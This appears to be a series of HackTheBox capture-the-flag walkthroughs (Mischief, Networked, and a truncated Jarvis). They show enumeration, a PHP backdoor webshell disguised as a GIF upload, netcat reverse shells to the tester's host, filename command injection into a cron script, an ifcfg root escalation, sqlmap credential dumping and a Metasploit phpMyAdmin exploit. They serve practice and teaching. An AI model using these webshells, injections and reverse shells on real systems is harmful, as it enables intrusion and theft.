Last login: Sat Jul 14 12:44:04 2018 from 10.10.14.4
loki@Mischief:~$ id
uid=1000(loki) gid=1004(loki) groups=1004(loki)
loki@Mischief:~
user.txt is in the directory of “/home/loki”.
loki@Mischief:~$ cat user.txt
bf58078e7b802c5f32b545eea7c90060
loki@Mischief:~$
3. Getting Root
In “.bash_history”, we can find a possible credential “loki:lokipasswordmischieftrickery”.
loki@Mischief:~$ cat .bash_history
python -m SimpleHTTPAuthServer loki:lokipasswordmischieftrickery
exit
free -mt
ifconfig
cd /etc/
sudo su
su
exit
su root
ls -la
sudo -l
ifconfig
id
cat .bash_history
nano .bash_history
exit
loki@Mischief:~$
We can find an interesting thing that user “loki” can’t use a command “su” due to its permission.
loki@Mischief:~$ su root
-bash : /bin/su: Permission denied
loki@Mischief:~$ ls -l /bin/su
-rwsr-xr-x + 1 root root 44664 Jan 25 2018 /bin/su
loki@Mischief:~$
This is because Access Control List doesn’t allow user “loki” to execute the command.
We can confirm that with “getfacl” command.
loki@Mischief:~$ getfacl /bin/su
getfacl: Removing leading '/' from absolute path names
# file: bin/su
# owner: root
# group: root
# flags: s--
user::rwx
user:loki:r--
group::r-x
mask::r-x
other::r-x
loki@Mischief:~$
However, if we take a look at user “www-data”, we can notice that we can run “su” command and become “root”
$ su root
su root
Password: lokipasswordmischieftrickery
root@Mischief:/home/loki# id
id
uid = 0( root) gid = 0( root) groups = 0( root)
root@Mischief:/home/loki#
However, we don’t have a correct “root.txt” in the directory “/root”.
root@Mischief:/home/loki# cat /root/root.txt
cat /root/root.txt
The flag is not here, get a shell to find it!
root@Mischief:/home/loki#
By running following command, we can find the correct “root.txt”.
root@Mischief:~# find / -name root.txt -type f
find / -name root.txt -type f
/usr/lib/gcc/x86_64-linux-gnu/7/root.txt
/root/root.txt
root@Mischief:~# cat /usr/lib/gcc/x86_64-linux-gnu/7/root.txt
cat /usr/lib/gcc/x86_64-linux-gnu/7/root.txt
ae155fad479c56f912c65d7be4487807
root@Mischief:~#
18 Nov 2019
Explanation
Hackthebox is a website which has a bunch of vulnerable machines in its own VPN.
This is a walkthrough of a box “Networkd”.
Solution
1. Initial Enumeration
TCP Port Scanning:
root@kali:~# nmap -p- 10.10.10.146 -sV -sC
Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-16 11:51 EET
Nmap scan report for 10.10.10.146
Host is up ( 0.043s latency) .
Not shown: 65532 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 ( protocol 2.0)
| ssh-hostkey:
| 2048 22:75:d7:a7:4f:81:a7:af:52:66:e5:27:44:b1:01:5b ( RSA)
| 256 2d:63:28:fc:a2:99:c7:d4:35:b9:45:9a:4b:38:f9:c8 ( ECDSA)
|_ 256 73:cd:a0:5b:84:10:7d:a7:1c:7c:61:1d:f5:54:cf:c4 ( ED25519)
80/tcp open http Apache httpd 2.4.6 (( CentOS) PHP/5.4.16)
|_http-server-header: Apache/2.4.6 ( CentOS) PHP/5.4.16
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
443/tcp closed https
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 154.45 seconds
Gobuster HTTP port 80:
root@kali:~# gobuster dir -u http://10.10.10.146/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .html,.php -s '200,204,301,302,403'
===============================================================
Gobuster v3.0.1
by OJ Reeves ( @TheColonial) & Christian Mehlmauer ( @_FireFart_)
===============================================================
[ +] Url: http://10.10.10.146/
[ +] Threads: 10
[ +] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[ +] Status codes: 200,204,301,302,403
[ +] User Agent: gobuster/3.0.1
[ +] Extensions: html,php
[ +] Timeout: 10s
===============================================================
2019/11/16 11:55:17 Starting gobuster
===============================================================
/index.php ( Status: 200)
/uploads ( Status: 301)
/photos.php ( Status: 200)
/upload.php ( Status: 200)
/lib.php ( Status: 200)
/backup ( Status: 301)
===============================================================
2019/11/16 12:44:09 Finished
===============================================================
2. Getting User
We have almost only one port 80 to enumerate at a glancce.
In the path “/upload.php”, we can find a function to upload an image file.
In the path “/backup”, we can find a backup file.
Then, extract the files from the tar file.
We have following 4 files there.
root@kali:~# tar -xvf backup.tar
index.php
lib.php
photos.php
upload.php
Sounds “upload.php” is to upload a file. The function for that is defined in “lib.php”
upload.php:
<?php
require '/var/www/html/lib.php' ;
define ( "UPLOAD_DIR" , "/var/www/html/uploads/" );
if ( isset ( $_POST [ 'submit' ]) ) {
if ( ! empty ( $_FILES [ "myFile" ])) {
$myFile = $_FILES [ "myFile" ];
if ( ! ( check_file_type ( $_FILES [ "myFile" ]) && filesize ( $_FILES [ 'myFile' ][ 'tmp_name' ]) < 60000 )) {
echo '<pre>Invalid image file.</pre>' ;
displayform ();
}
if ( $myFile [ "error" ] !== UPLOAD_ERR_OK ) {
echo "<p>An error occurred.</p>" ;
displayform ();
exit ;
}
//$name = $_SERVER['REMOTE_ADDR'].'-'. $myFile["name"];
list ( $foo , $ext ) = getnameUpload ( $myFile [ "name" ]);
$validext = array ( '.jpg' , '.png' , '.gif' , '.jpeg' );
$valid = false ;
foreach ( $validext as $vext ) {
if ( substr_compare ( $myFile [ "name" ], $vext , - strlen ( $vext )) === 0 ) {
$valid = true ;
}
}
if ( ! ( $valid )) {
echo "<p>Invalid image file</p>" ;
displayform ();
exit ;
}
$name = str_replace ( '.' , '_' , $_SERVER [ 'REMOTE_ADDR' ]) . '.' . $ext ;
$success = move_uploaded_file ( $myFile [ "tmp_name" ], UPLOAD_DIR . $name );
if ( ! $success ) {
echo "<p>Unable to save file.</p>" ;
exit ;
}
echo "<p>file uploaded, refresh gallery</p>" ;
// set proper permissions on the new file
chmod ( UPLOAD_DIR . $name , 0644 );
}
} else {
displayform ();
}
?>
lib.php:
<?php
---
function file_mime_type ( $file ) {
$regexp = '/^([a-z\-]+\/[a-z0-9\-\.\+]+)(;\s.+)?$/' ;
if ( function_exists ( 'finfo_file' )) {
$finfo = finfo_open ( FILEINFO_MIME );
if ( is_resource ( $finfo )) // It is possible that a FALSE value is returned, if there is no magic MIME database file found on the system
{
$mime = @ finfo_file ( $finfo , $file [ 'tmp_name' ]);
finfo_close ( $finfo );
if ( is_string ( $mime ) && preg_match ( $regexp , $mime , $matches )) {
$file_type = $matches [ 1 ];
return $file_type ;
}
}
}
if ( function_exists ( 'mime_content_type' ))
{
$file_type = @ mime_content_type ( $file [ 'tmp_name' ]);
if ( strlen ( $file_type ) > 0 ) // It's possible that mime_content_type() returns FALSE or an empty string
{
return $file_type ;
}
}
return $file [ 'type' ];
}
---
function check_file_type ( $file ) {
$mime_type = file_mime_type ( $file );
if ( strpos ( $mime_type , 'image/' ) === 0 ) {
return true ;
} else {
return false ;
}
}
---
function getnameUpload ( $filename ) {
$pieces = explode ( '.' , $filename );
$name = array_shift ( $pieces );
$name = str_replace ( '_' , '.' , $name );
$ext = implode ( '.' , $pieces );
return array ( $name , $ext );
}
---
?>
In summerize, what “upload.php” is doing the followings.
Check if the uploaded file is valid with “check_file_type()”.
“check_file_type()” checks the magic bytes of the file with “check_mime_type()”.
Check the extension of the uploaded file
If these are OK, create a name of uploaded file with “getnameUploaded()”
Finally, move the uploaded file from the temporary directory to “/uploads”
This means, by using double extention method, with adding appropriate magic bytes, we can bypass the filter.
At first, create following file.
root@kali:~# cat simple-backdoor.php.gif
GIF89a
<!-- Simple PHP backdoor by DK (http://michaeldaw.org) -->
<?php
if ( isset ( $_REQUEST [ 'cmd' ])){
echo "<pre>" ;
$cmd = ( $_REQUEST [ 'cmd' ]);
system ( $cmd );
echo "</pre>" ;
die ;
}
?>
Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd
<!-- http://michaeldaw.org 2006 -->
Then, upload the double extensioned file.
We can see a message which says file is uploaded successfully.
The uploaded file is in the path “/uploads”.
According to “photos.php”, the name of uploaded file is “10_10_14_13.php.gif”
We can access to the webshell uploaded just like following.
root@kali:~# curl http://10.10.10.146/uploads/10_10_14_13.php.gif
GIF89a
<! -- Simple PHP backdoor by DK ( http://michaeldaw.org) -- >
Usage: http://target.com/simple-backdoor.php?cmd= cat +/etc/passwd
<! -- http://michaeldaw.org 2006 -- >
By adding a GET parameter “cmd”, we can execute arbitrary command.
root@kali:~# curl "http://10.10.10.146/uploads/10_10_14_13.php.gif?cmd=uname%20-a"
GIF89a
<! -- Simple PHP backdoor by DK ( http://michaeldaw.org) -- >
<pre>Linux networked.htb 3.10.0-957.21.3.el7.x86_64 #1 SMP Tue Jun 18 16:35:19 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
</pre>
As this box is ranked “easy”, we have a netcat command which has an option “-c”.
Meaning we can achieve a reverse shell by using netcat.
root@kali:~# curl "http://10.10.10.146/uploads/10_10_14_13.php.gif?cmd=which%20nc"
GIF89a
<! -- Simple PHP backdoor by DK ( http://michaeldaw.org) -- >
<pre>/usr/bin/nc
</pre>
After the launch of the netcat listener on port 4444, execute the following command.
root@kali:~# curl "http://10.10.10.146/uploads/10_10_14_13.php.gif?cmd=nc%2010.10.14.13%204444%20-c%20/bin/bash"
Next, access to the netcat listener.
We can get a shell of remote access as user “apache”.
root@kali:~# nc -nlvp 4444
listening on [ any] 4444 ...
connect to [ 10.10.14.13] from ( UNKNOWN) [ 10.10.10.146] 53134
id
uid = 48( apache) gid = 48( apache) groups = 48( apache)
python -c 'import pty;pty.spawn("/bin/bash")'
bash-4.2$
However, we are still not able to read the user.txt in the directory “/home/guly”.
But we can find some files interesting.
bash-4.2$ ls -l
ls -l
total 12
-r--r--r-- . 1 root root 782 Oct 30 2018 check_attack.php
-rw-r--r-- 1 root root 44 Oct 30 2018 crontab.guly
-r-------- . 1 guly guly 33 Oct 30 2018 user.txt
bash-4.2$ cat crontab.guly
cat crontab.guly
* /3 * * * * php /home/guly/check_attack.php
bash-4.2$ cat check_attack.php
cat check_attack.php
<?php
require '/var/www/html/lib.php' ;
$path = '/var/www/html/uploads/' ;
$logpath = '/tmp/attack.log' ;
$to = 'guly' ;
$msg = '' ;
$headers = "X-Mailer: check_attack.php \r\n " ;
$files = array() ;
$files = preg_grep( '/^([^.])/' , scandir( $path )) ;
foreach ( $files as $key => $value ) {
$msg = '' ;
if ( $value == 'index.html' ) {
continue ;
}
#echo "-------------\n";
#print "check: $value\n";
list ( $name ,$ext ) = getnameCheck( $value ) ;
$check = check_ip( $name ,$value ) ;
if (!( $check [ 0])) {
echo "attack! \n " ;
# todo: attach file
file_put_contents( $logpath , $msg , FILE_APPEND | LOCK_EX) ;
exec ( "rm -f $logpath " ) ;
exec ( "nohup /bin/rm -f $path$value > /dev/null 2>&1 &" ) ;
echo "rm -f $path$value \n " ;
mail( $to , $msg , $msg , $headers , "-F $value " ) ;
}
}
The important line is following.
Since $value is name of a file in the directory “/var/www/html/uploads/”, by creating a file, we can inject this variable.
exec ( "nohup /bin/rm -f $path$value > /dev/null 2>&1 &" ) ;
This time, launch a netcat listener and create the following file.
We can achieve a reverse shell as a user guly.
bash-4.2$ touch ';nc 10.10.14.13 4443 -c bash'
touch ';nc 10.10.14.13 4443 -c bash'
root@kali:~# nc -nlvp 4443
listening on [ any] 4443 ...
connect to [ 10.10.14.13] from ( UNKNOWN) [ 10.10.10.146] 49000
python -c 'import pty;pty.spawn("/bin/bash")'
[ guly@networked ~]$ id
id
uid = 1000( guly) gid = 1000( guly) groups = 1000( guly)
[ guly@networked ~]$
user.txt is in the home directory of user “guly”.
[ guly@networked ~]$ cat user.txt
cat user.txt
526cfc2305f17faaacecf212c57d71c5
[ guly@networked ~]$
3. Getting Root
As always, check if we can do something as a root.
We can execute “/usr/local/sbin/changename.sh” as root with no password.
[ guly@networked ~]$ sudo -l
sudo -l
Matching Defaults entries for guly on networked:
! visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin,
env_reset, env_keep = "COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS" ,
env_keep+= "MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE" ,
env_keep+= "LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES" ,
env_keep+= "LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE" ,
env_keep+= "LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY" ,
secure_path = /sbin\: /bin\: /usr/sbin\: /usr/bin
User guly may run the following commands on networked:
( root) NOPASSWD: /usr/local/sbin/changename.sh
[ guly@networked ~]$
“changename.sh” is a bash script which tries to rewrite the content of “/etc/sysconfig/network-scripts/ifconfig-guly” each time it is executed.
[ guly@networked ~]$ cat /usr/local/sbin/changename.sh
cat /usr/local/sbin/changename.sh
#!/bin/bash -p
cat > /etc/sysconfig/network-scripts/ifcfg-guly << EoF
DEVICE=guly0
ONBOOT=no
NM_CONTROLLED=no
EoF
regexp = "^[a-zA-Z0-9_ \ /-]+$"
for var in NAME PROXY_METHOD BROWSER_ONLY BOOTPROTO; do
echo "interface $var :"
read x
while [[ ! $x = ~ $regexp ]] ; do
echo "wrong input, try again"
echo "interface $var :"
read x
done
echo $var = $x >> /etc/sysconfig/network-scripts/ifcfg-guly
done
/sbin/ifup guly0
[ guly@networked ~]$
Execution of changename.sh:
take user input as “$x”
write each config “NAME”, “PROXY_METHOD”, “BROWSER_ONLY”, “BOOTPROTO” in “ifconfig-guly”
[ guly@networked ~]$ sudo /usr/local/sbin/changename.sh
sudo /usr/local/sbin/changename.sh
interface NAME:
test
test
interface PROXY_METHOD:
test
test
interface BROWSER_ONLY:
test
test
interface BOOTPROTO:
test
test
ERROR : [ /etc/sysconfig/network-scripts/ifup-eth] Device guly0 does not seem to be present, delaying initialization.
[ guly@networked ~]$
Script output:
[ guly@networked ~]$ cat /etc/sysconfig/network-scripts/ifcfg-guly
cat /etc/sysconfig/network-scripts/ifcfg-guly
DEVICE = guly0
ONBOOT = no
NM_CONTROLLED = no
NAME = test
PROXY_METHOD = test
BROWSER_ONLY = test
BOOTPROTO = test
[ guly@networked ~]$
To find a way to pwn this script, we can google like following.
We can find a discussion of seclist.org about getting root through network-scripts.
linux ifcfg script code execution full disclosure
According to this discussion, Redhat/CentOS has a vulnerability that if we have write permission for ifcf script in “/etc/sysconfig/network-scripts”, we can achieve a root privilege of the host.
So try to put some spaces in the input. we can find interesting lines.
/etc/sysconfig/network-scripts/ifcfg-guly: line 4: y: command not found
[ guly@networked ~]$ sudo /usr/local/sbin/changename.sh
sudo /usr/local/sbin/changename.sh
interface NAME:
x y
x y
interface PROXY_METHOD:
x y
x y
interface BROWSER_ONLY:
x y
x y
interface BOOTPROTO:
x y
x y
/etc/sysconfig/network-scripts/ifcfg-guly: line 4: y: command not found
/etc/sysconfig/network-scripts/ifcfg-guly: line 5: y: command not found
/etc/sysconfig/network-scripts/ifcfg-guly: line 6: y: command not found
/etc/sysconfig/network-scripts/ifcfg-guly: line 7: y: command not found
/etc/sysconfig/network-scripts/ifcfg-guly: line 4: y: command not found
/etc/sysconfig/network-scripts/ifcfg-guly: line 5: y: command not found
/etc/sysconfig/network-scripts/ifcfg-guly: line 6: y: command not found
/etc/sysconfig/network-scripts/ifcfg-guly: line 7: y: command not found
ERROR : [ /etc/sysconfig/network-scripts/ifup-eth] Device guly0 does not seem to be present, delaying initialization.
[ guly@networked ~]$
Then, try to inject the script by having “bash” as a 2nd argument of input.
We can achieve a root shell.
[ guly@networked ~]$ sudo /usr/local/sbin/changename.sh
sudo /usr/local/sbin/changename.sh
interface NAME:
x bash
x bash
interface PROXY_METHOD:
x y
x y
interface BROWSER_ONLY:
x y
x y
interface BOOTPROTO:
x y
x y
[ root@networked network-scripts]# id
id
uid = 0( root) gid = 0( root) groups = 0( root)
[ root@networked network-scripts]#
As always, root.txt is in the directory “/root”.
[ root@networked network-scripts]# cat /root/root.txt
cat /root/root.txt
0a8ecda83f1d81251099e8ac3d0dcb82
[ root@networked network-scripts]#
10 Nov 2019
Explanation
Hackthebox is a website which has a bunch of vulnerable machines in its own VPN.
To learn a new technique/knowledge, solve all machines (As much as possible!!).
This is a walkthrough of a box “Jarvis”.
Solution
1. Initial Enumeration
TCP Port Scanning:
root@kali:~# nmap -p- 10.10.10.143 -sV -sC
Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-07 13:41 EET
Nmap scan report for 10.10.10.143
Host is up ( 0.047s latency) .
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 ( protocol 2.0)
| ssh-hostkey:
| 2048 03:f3:4e:22:36:3e:3b:81:30:79:ed:49:67:65:16:67 ( RSA)
| 256 25:d8:08:a8:4d:6d:e8:d2:f8:43:4a:2c:20:c8:5a:f6 ( ECDSA)
|_ 256 77:d4:ae:1f:b0:be:15:1f:f8:cd:c8:15:3a:c3:69:e1 ( ED25519)
80/tcp open http Apache httpd 2.4.25 (( Debian))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.25 ( Debian)
|_http-title: Stark Hotel
64999/tcp open http Apache httpd 2.4.25 (( Debian))
|_http-server-header: Apache/2.4.25 ( Debian)
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 139.42 seconds
Gobuster HTTP port 80:
root@kali:~# gobuster dir -u http://10.10.10.143 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .html,.php -s '200,204,301,302,403'
===============================================================
Gobuster v3.0.1
by OJ Reeves ( @TheColonial) & Christian Mehlmauer ( @_FireFart_)
===============================================================
[ +] Url: http://10.10.10.143
[ +] Threads: 10
[ +] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[ +] Status codes: 200,204,301,302,403
[ +] User Agent: gobuster/3.0.1
[ +] Extensions: html,php
[ +] Timeout: 10s
===============================================================
2019/11/07 13:48:16 Starting gobuster
===============================================================
/index.php ( Status: 200)
/images ( Status: 301)
/nav.php ( Status: 200)
/footer.php ( Status: 200)
/css ( Status: 301)
/js ( Status: 301)
/fonts ( Status: 301)
/phpmyadmin ( Status: 301)
/connection.php ( Status: 200)
/room.php ( Status: 302)
/sass ( Status: 301)
/server-status ( Status: 403)
===============================================================
2019/11/07 14:40:04 Finished
===============================================================
Gobuster HTTP port 64999:
root@kali:~# gobuster dir -u http://10.10.10.143:64999/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .html,.php -s '200,204,301,302,403'
===============================================================
Gobuster v3.0.1
by OJ Reeves ( @TheColonial) & Christian Mehlmauer ( @_FireFart_)
===============================================================
[ +] Url: http://10.10.10.143:64999/
[ +] Threads: 10
[ +] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[ +] Status codes: 200,204,301,302,403
[ +] User Agent: gobuster/3.0.1
[ +] Extensions: html,php
[ +] Timeout: 10s
===============================================================
2019/11/07 14:42:47 Starting gobuster
===============================================================
/index.html ( Status: 200)
/server-status ( Status: 403)
===============================================================
2019/11/07 15:34:39 Finished
===============================================================
2. Getting User
On the port 80, there is a website which we can researve a room of a hotel.
In the path “/room.php”, we have a parameter for GET request which is “cod”.
By putting a single quote, we can confirm that there is no picture.
This means that the parameter “cod” is not handled appropriately.
Then, we can try to check if there is really a SQL injection.
We can use SQLmap and figure out that the parameter “cod” is actually vulnerable.
root@kali:~# sqlmap -u http://10.10.10.143/room.php?cod= 1
___
__H__
___ ___[,]_____ ___ ___ { 1.3.10#stable}
|_ -| . [ ,] | .'| . |
|___|_ [' ] _|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
~~~
GET parameter ' cod' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 72 HTTP(s) requests:
---
Parameter: cod (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: cod=1 AND 3862=3862
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: cod=1 AND (SELECT 6380 FROM (SELECT(SLEEP(5)))sIAL)
Type: UNION query
Title: Generic UNION query (NULL) - 7 columns
Payload: cod=-3382 UNION ALL SELECT NULL,CONCAT(0x7176767871,0x724a4941577351594f52566f7673496e674b42744c4354476f78444c555252715565706d504c6474,0x7178717171),NULL,NULL,NULL,NULL,NULL-- AKaz
---
[19:45:48] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 9.0 (stretch)
web application technology: PHP, Apache 2.4.25
back-end DBMS: MySQL >= 5.0.12
[19:45:48] [INFO] fetched data logged to text files under ' /root/.sqlmap/output/10.10.10.143'
[*] ending @ 19:45:48 /2019-11-09/
Next, we use SQLmap with an option “–password”.
We can ahieve following credential.
DBadmin:imissyou
root@kali:~# sqlmap -u http://10.10.10.143/room.php?cod= 1 --passwords
___
__H__
___ ___[,]_____ ___ ___ { 1.3.10#stable}
|_ -| . [(] | .'| . |
|___|_ [(]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user' s responsibility to obey all applicable local , state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[ * ] starting @ 20:59:50 /2019-11-09/
~~~
database management system users password hashes:
[ * ] DBadmin [ 1]:
password hash : * 2D2B7A5E4E637B8FBA1D17F40318F277D29964D0
clear-text password: imissyou
[ 21:00:11] [ INFO] fetched data logged to text files under '/root/.sqlmap/output/10.10.10.143'
[ * ] ending @ 21:00:11 /2019-11-09/
After that, try to login to phpadmin with the credential.
We can figure out that the version of phpmyadmin is “4.8.0”
Metasploit has several exploits for Authenticated remote code execution of phpmyadmin.
msf5 > search phpmyadmin
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/admin/http/telpho10_credential_dump 2016-09-02 normal No Telpho10 Backup Credentials Dumper
1 auxiliary/scanner/http/phpmyadmin_login normal Yes PhpMyAdmin Login Scanner
2 exploit/multi/http/phpmyadmin_3522_backdoor 2012-09-25 normal No phpMyAdmin 3.5.2.2 server_sync.php Backdoor
3 exploit/multi/http/phpmyadmin_lfi_rce 2018-06-19 good Yes phpMyAdmin Authenticated Remote Code Execution
4 exploit/multi/http/phpmyadmin_null_termination_exec 2016-06-23 excellent Yes phpMyAdmin Authenticated Remote Code Execution
5 exploit/multi/http/phpmyadmin_preg_replace 2013-04-25 excellent Yes phpMyAdmin Authenticated Remote Code Execution via preg_replace()
6 exploit/multi/http/zpanel_information_disclosure_rce 2014-01-30 excellent No Zpanel Remote Unauthenticated RCE
7 exploit/unix/webapp/phpmyadmin_config 2009-03-24 excellent No PhpMyAdmin Config File Code Injection
8 post/linux/gather/phpmyadmin_credsteal normal No Phpmyadmin credentials stealer
msf5 >
This time, “exploit/multi/http/phpmyadmin_lfi_rce” was used.
msf5 > use exploit/multi/http/phpmyadmin_lfi_rce
msf5 exploit( multi/http/phpmyadmin_lfi_rce) > show options
Module options ( exploit/multi/http/phpmyadmin_lfi_rce) :
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD no Password to authenticate with
Proxies no A proxy chain of format type :host:port[,type:host:port][...]
RHOSTS yes The target host( s) , range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port ( TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI /phpmyadmin/ yes Base phpMyAdmin directory path
USERNAME root yes Username to authenticate with
VHOST no HTTP server virtual host
Exploit target:
Id Name
-- ----
0 Automatic
msf5 exploit( multi/http/phpmyadmin_lfi_rce) > set password imissyou
password => imissyou
msf5 exploit( multi/http/phpmyadmin_lfi_rce) > set username DBadmin
username => DBadmin
msf5 exploit( multi/http/phpmyadmin_lfi_rce) > set rhosts 10.10.10.143
rhosts => 10.10.10.143
msf5 exploit( multi/http/phpmyadmin_lfi_rce) > run
[ * ] Started reverse TCP handler on 10.10.14.13:4444
[ * ] Sending stage ( 38288 bytes) to 10.10.10.143
[ * ] Meterpreter session 1 opened ( 10.10.14.13:4444 -> 10.10.10.143:43688) at 2019-11-10 12:27:06 +0200
[ -] 10.10.10.143:80 - Failed to drop database ozviz. Might drop when your session closes.
meterpreter > getuid
Server username: www-data ( 33)
meterpreter >
By running “sudo -l”, we can find that user “pepper” can run “simpler.py” as root.
meterpreter > shell
Process 4892 created.
Channel 1 created.
sudo -l
Matching Defaults entries for www-data on jarvis:
env_reset, mail_badpass, secure_path = /usr/local/sbin\: /usr/local/bin\: /usr/sbin\: /usr/bin\: /sbin\: /bin
User www-data may run the following commands on jarvis:
( pepper : ALL) NOPASSWD: /var/www/Admin-Utilities/simpler.py
Then, take a look at “simpler.py”.
meterpreter > cat /var/www/Admin-Utilities/simpler.py
#!/usr/bin/env python3
from datetime import datetime
import sys
import os
from os import listdir
import re
def show_help() :
message = '''
********************************************************
* Simpler - A simple simplifier ;) *
* Version 1.0 *
********************************************************
Usage: python3 simpler.py [options]
Options:
-h/--help : This help
-s : Statistics
-l : List the attackers IP
-p : ping an attacker IP
'''
print( message)
def show_header() :
print( '''***********************************************
_ _
___(_)_ __ ___ _ __ | | ___ _ __ _ __ _ _
/ __| | ' _ ` _ \| '_ \| |/ _ \ ' __| '_ \| | | |
\__ \ | | | | | | |_) | | __/ |_ | |_) | |_| |
|___/_|_| |_| |_| .__/|_|\___|_(_)| .__/ \__, |
|_| |_| |___/
@ironhackers.es
***********************************************
''' )
def show_statistics() :
path = '/home/pepper/Web/Logs/'
print( 'Statistics\n-----------' )
listed_files = listdir( path)
count = len( listed_files)
print( 'Number of Attackers: ' + str( count))
level_1 = 0
dat = datetime( 1, 1, 1)
ip_list = []
reks = []
ip = ''
req = ''
rek = ''
for i in listed_files:
f = open( path + i, 'r' )
lines = f.readlines()
level2, rek = get_max_level( lines)
fecha, requ = date_to_num( lines)
ip = i.split( '.' )[ 0] + '.' + i.split( '.' )[ 1] + '.' + i.split( '.' )[ 2] + '.' + i.split( '.' )[ 3]
if fecha > dat:
dat = fecha
req = requ
ip2 = i.split( '.' )[ 0] + '.' + i.split( '.' )[ 1] + '.' + i.split( '.' )[ 2] + '.' + i.split( '.' )[ 3]
if int( level2) > int( level_1) :
level_1 = level2
ip_list = [ ip]
reks =[ rek]
elif int( level2) == int( level_1) :
ip_list.append( ip)
reks.append( rek)
f.close()
print( 'Most Risky:' )
if len( ip_list) > 1:
print( 'More than 1 ip found' )
cont = 0
for i in ip_list:
print( ' ' + i + ' - Attack Level : ' + level_1 + ' Request: ' + reks[cont])
cont = cont + 1
print( 'Most Recent: ' + ip2 + ' --> ' + str( dat) + ' ' + req)
def list_ip() :
print( 'Attackers\n-----------' )
path = '/home/pepper/Web/Logs/'
listed_files = listdir( path)
for i in listed_files:
f = open( path + i,'r' )
lines = f.readlines()
level,req = get_max_level( lines)
print( i.split( '.' )[ 0] + '.' + i.split( '.' )[ 1] + '.' + i.split( '.' )[ 2] + '.' + i.split( '.' )[ 3] + ' - Attack Level : ' + level)
f.close()
def date_to_num( lines) :
dat = datetime( 1,1,1)
ip = ''
req = ''
for i in lines:
if 'Level' in i:
fecha =( i.split( ' ' )[ 6] + ' ' + i.split( ' ' )[ 7]) .split( '\n' )[ 0]
regex = '(\d+)-(.*)-(\d+)(.*)'
logEx = re.match( regex, fecha) .groups()
mes = to_dict( logEx[1])
fecha = logEx[0] + '-' + mes + '-' + logEx[2] + ' ' + logEx[3]
fecha = datetime.strptime( fecha, '%Y-%m-%d %H:%M:%S' )
if fecha > dat:
dat = fecha
req = i.split( ' ' )[ 8] + ' ' + i.split( ' ' )[ 9] + ' ' + i.split( ' ' )[ 10]
return dat, req
def to_dict( name) :
month_dict = { 'Jan' :'01' ,'Feb' :'02' ,'Mar' :'03' ,'Apr' :'04' , 'May' :'05' , 'Jun' :'06' ,'Jul' :'07' ,'Aug' :'08' ,'Sep' :'09' ,'Oct' :'10' ,'Nov' :'11' ,'Dec' :'12' }
return month_dict[name]
def get_max_level( lines) :
level = 0
for j in lines:
if 'Level' in j:
if int( j.split( ' ' )[ 4]) > int( level) :
level = j.split( ' ' )[ 4]
req = j.split( ' ' )[ 8] + ' ' + j.split( ' ' )[ 9] + ' ' + j.split( ' ' )[ 10]
return level, req
def exec_ping() :
forbidden = [ '&' , ';' , '-' , '`' , '||' , '|' ]
command = input( 'Enter an IP: ' )
for i in forbidden:
if i in command :
print( 'Got you' )
exit ()
os.system( 'ping ' + command )
if __name__ == '__main__' :
show_header()
if len( sys.argv) != 2:
show_help()
exit ()
if sys.argv[1] == '-h' or sys.argv[1] == '--help' :
show_help()
exit ()
elif sys.argv[1] == '-s' :
show_statistics()
exit ()
elif sys.argv[1] == '-l' :
list_ip()
exit ()
elif sys.argv[1] == '-p' :
exec_ping()
exit ()
else :
show_help()
exit ()
meterpreter >
Take a look at “exec_ping.”
We can confirm that “exec_ping “ is executing our input with no checking of “$”.
def exec_ping ():
forbidden = [ '&' , ';' , '-' , '`' , '||' , '|' ]
command = input ( 'Enter an IP: ' )
for i in forbidden :
if i in command :
print ( 'Got you' )
exit ()
os . system ( 'ping ' + command )
Besides, get a full shell like following.
python -c 'import pty;pty.spawn("/bin/bash")'
www-data@jarvis:/var/www/Admin-Utilities$
With following way, we can execute arbitrary command.
